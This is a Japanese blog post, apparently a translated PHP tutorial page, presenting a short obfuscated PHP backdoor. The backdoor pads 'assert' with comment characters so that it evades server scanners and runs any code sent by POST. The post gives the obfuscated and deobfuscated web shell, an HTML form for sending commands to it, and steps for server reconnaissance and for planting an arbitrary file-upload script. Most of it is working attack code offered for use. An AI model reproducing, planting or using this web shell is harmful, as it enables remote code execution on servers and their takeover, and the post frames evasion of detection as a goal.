この記事では、コードが非常に短くし、非常に隠蔽しているバックドア型トロイの木馬を紹介します。これにより、プログラムを検出したときに誰もがトロイの木馬に引っ掛からないようにすることができます。
ファイルの内容は以下のとおりです:
<code><?php @<span>$_</span>=<span>"s"</span>.<span>"s"</span>./*-<span>/*-*/</span><span>"e"</span>./*-<span>/*-*/</span><span>"r"</span>; @<span>$_</span>=<span>/*-/</span>*-*<span>/"a"./</span>*-<span>/*-*/</span><span>$_</span>./*-<span>/*-*/</span><span>"t"</span>; @<span>$_</span>/*-<span>/*-*/</span>(<span>$/</span>*-<span>/*-*/</span>{<span>"_P"</span>./*-<span>/*-*/</span><span>"OS"</span>./*-<span>/*-*/</span><span>"T"</span>} [<span>/*-/</span>*-*<span>/0/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/2/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/5/</span>*-<span>/*-*/</span>]);?></code>
コード内に多くのコメント文字が挿入されており、サーバーの検出プログラムが厳密でない場合は検出が困難です。
アノテーションを削除した後のコードは次のとおりです:
<code><span><span><?php</span> @<span>$_</span>=<span>"s"</span>.<span>"s"</span>.<span>"e"</span>.<span>"r"</span>; @<span>$_</span>=<span>"a"</span>.<span>$_</span>.<span>"t"</span>; @<span>$_</span>(${<span>"_P"</span>.<span>"OS"</span>.<span>"T"</span>} [<span>0</span>-<span>2</span>-<span>5</span>]); <span>?></span></span></code>
実際に実行される最終コードは次のとおりです:
<code><span><span><?php</span> assert(${<span>"_POST"</span>}[-<span>7</span>]); <span>?></span></span></code>
このバックドアは php の assert メソッドを使用してプログラムを実行していることがわかります。
<code><span>bool</span><span>assert</span> ( mixed $assertion [, <span>string</span> $description ] ) </code>
assert() は、指定されたアサーションをチェックし、結果が FALSE の場合は適切なアクションを実行します。
アサーションが文字列の場合、assert()によってPHPコードとして実行されます。
$assertionの内容がphpinfo();の場合、サーバー情報が返されるため、攻撃者は攻撃用のサーバー情報を取得することができます。
このバックドアをアップロードした後、攻撃者はサーバーで php ステートメントを実行するための単純な HTML を作成するだけで済みます。
バックドア ファイルが backdoor.php
<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> back door <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/backdoor.php"</span>></span><span><<span>p</span>></span><span><<span>textarea</span><span>name</span>=<span>"-7"</span><span>style</span>=<span>"width:500px; height:300px"</span>></span><span></<span>textarea</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>
攻撃方法:
であると仮定します。
1. サーバー情報を取得するには、
<code><span>phpinfo()</span>;</code>
と入力します。 2. 自由にファイルをアップロードできるPHPを作成するには、
<code>file_put_contents(<span>'hack.php'</span>, <span>'<?php move_uploaded_file($_FILES[\'</span>name\<span>'][\'</span>tmp_name\<span>'], dirname(__FILE__).\'</span>/dest.php\<span>');?>'</span> ,<span>true</span>);</code>
と入力し、ファイルをアップロードするためのHTMLを作成し、hack.php
<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> upload <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/hack.php"</span><span>enctype</span>=<span>"multipart/form-data"</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"file"</span><span>name</span>=<span>"name"</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>
を呼び出します。次に、php ファイルをアップロードして実行できます。
著作権声明: この記事はブロガーによるオリジナルの記事であり、ブロガーの許可なく複製することはできません。
上記では、関連する内容も含めて、短い隠れたバックドア トロイの木馬コードを紹介しています。PHP チュートリアルに興味のある友人に役立つことを願っています。